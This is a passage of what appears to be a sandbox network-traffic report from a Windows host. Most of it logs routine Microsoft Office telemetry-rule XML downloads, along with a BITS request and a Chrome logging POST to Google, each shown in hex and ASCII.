2024-11-17 00:38:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-16547b76f7fp6s5dhC1DFWe28g00000000sg00000000dyyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90e9dbbe-d01e-0028-1506-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-164f84587bf28gjzhC1DFW35kg00000003hg000000006m2e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49833	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 00:38:34 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=58015 Date: Sun, 17 Nov 2024 00:38:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-16547b76f7fqqjnnhC1DFWxv7400000001x0000000005sk1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-1866b5c5fbbqwvdshC1DFW095g00000000ng00000000693g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	522	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-16547b76f7ff9zf4hC1DFW2pfc000000011000000000t5gb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15349be3-801e-0047-5579-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-164f84587bfr8hdmhC1DFWt5nc00000001u00000000097ve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-16547b76f7fnlq8chC1DFWxnen000000035g00000000k0m9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003834Z-1866b5c5fbbr78bbhC1DFWqz2n00000003q000000000c3fn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49846	172.217.18.14	443	5800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:34 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 00:38:34 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 38 30 33 39 31 31 38 37 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731803911871",null,null,null,
2024-11-17 00:38:35 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=QezlNl2joOKAknQItxMAC_yk5hDz8Oj0LqhMdyHIbU5BBoTkAn-fvRoxCkj8FHQ5-EZv2vD-mtPQ36SjnpbtPoxMfL0JmVSsYckT9R8L2Cs_4jLbp9E-nhUs34cjpzpVnjw1HUtvkKmDD50Dy7_cSXYvATqhxYuTnetxddMwhuzDBhMs8cOEIMo; expires=Mon, 19-May-2025 00:38:35 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 17 Nov 2024 00:38:35 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 17 Nov 2024 00:38:35 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-17 00:38:35 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-17 00:38:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 2374d143-301e-0020-0609-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-1866b5c5fbb7lvschC1DFW4rm000000003f000000000nnh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 